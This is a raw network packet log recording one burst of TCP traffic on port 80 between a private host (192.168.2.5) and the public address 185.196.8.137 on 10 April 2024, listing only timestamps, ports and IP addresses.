Apr 10, 2024 10:24:11.642370939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.642422915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.642422915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.642684937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.643191099 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.643263102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.643979073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.644068003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.644135952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.644220114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.644587994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.644768953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.645504951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.645900011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.648463964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.648608923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.648700953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.648700953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.648906946 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649003029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649100065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649117947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.649158955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.649163961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649355888 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649492979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649509907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.649509907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.649590015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.649703026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649848938 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649861097 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649898052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.649945974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.649945974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.649961948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.649981976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.650012016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.650113106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.650125027 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.650235891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.650235891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.650235891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.650360107 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.650615931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.650639057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.650835991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.650850058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.650871038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.650892973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.651021004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.651304007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.651319981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.651346922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.651391029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.651391029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.651541948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.651782990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.651806116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.651806116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.651896000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.651962996 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.652122021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.652165890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.652165890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.652245045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.652293921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.652970076 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.653304100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.653373003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.653562069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.653609991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.653609991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.653686047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.653789043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.653852940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.653863907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.654162884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.654185057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.654186010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.654409885 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.654422998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.654463053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.654463053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.654494047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.654772043 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.655122995 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.655184984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.655184984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.655483961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.655561924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.655864000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.655980110 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.655999899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.655999899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.656089067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.656101942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.656281948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.656295061 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.656359911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.656424046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.656436920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.656784058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.656966925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.657223940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.657327890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.657466888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657466888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657470942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.657522917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.657548904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657548904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657548904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657607079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657607079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657651901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.657933950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657933950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657934904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.657948971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.657996893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.658121109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.658140898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.658236027 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.658411026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.658581972 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.658813953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.659040928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659075975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.659145117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659145117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659145117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659163952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659240007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.659310102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.659315109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659315109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659315109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659374952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.659395933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659395933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659410954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659478903 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.659559011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659559011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659559011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.659672976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.659686089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.660010099 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.660058022 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.660677910 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.660689116 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.660825014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.660825014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.660825014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.660967112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.660967112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.660967112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.660967112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.660967112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.660976887 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.661082983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661083937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661083937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661083937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661236048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661236048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661236048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661236048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661236048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661248922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.661392927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.661417007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661417007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.661727905 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.661885023 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.662020922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.662364960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.662573099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662573099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662573099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662573099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662724972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662724972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662724972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662724972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662724972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662770033 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.662822962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.662970066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.663177967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.663219929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.663284063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.663378954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.663397074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.663646936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.663659096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.664196014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664196014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664196014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664196014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664253950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.664311886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664311886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664311886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664311886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664426088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664426088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664453983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664674997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664674997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.664967060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.665139914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.665222883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.665260077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.665693045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.665704012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.665714025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.665774107 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.665927887 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.665946007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.666075945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.666851997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.666945934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.667187929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.667479992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.667618990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.667663097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.667663097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.667725086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.667957067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.668133974 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.668242931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.668319941 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.668426037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.668426037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.668714046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.669559002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669689894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669689894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669689894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669689894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669698954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.669713020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669792891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669792891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669792891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669802904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.669902086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669902086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669902086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669933081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.669986010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669986010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.669986010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670015097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670134068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670134068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670134068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670134068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670176029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.670232058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670232058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670232058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670232058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670322895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670322895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670322895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670399904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.670418978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670418978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670418978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.670531034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.670912027 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.671236038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.671385050 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.671456099 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.671658993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.672070980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.672147036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.672322989 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.672471046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672471046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672471046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672498941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672663927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672663927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672663927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672663927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672692060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672764063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672764063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672764063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672894955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672894955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672894955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672894955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672934055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.672934055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.673578978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.673578978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.673711061 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.673826933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.673897982 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.674092054 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.674150944 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674271107 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.674300909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674300909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674458981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674458981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674458981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674458981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674520969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674520969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674520969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674590111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.674655914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.675597906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.675611973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.675671101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.675683975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.675750971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.675904036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.675960064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.675967932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676017046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.676024914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676024914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676165104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676165104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676165104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.676165104 CEST	49718	80	192.168.2.5	185.196.8.137
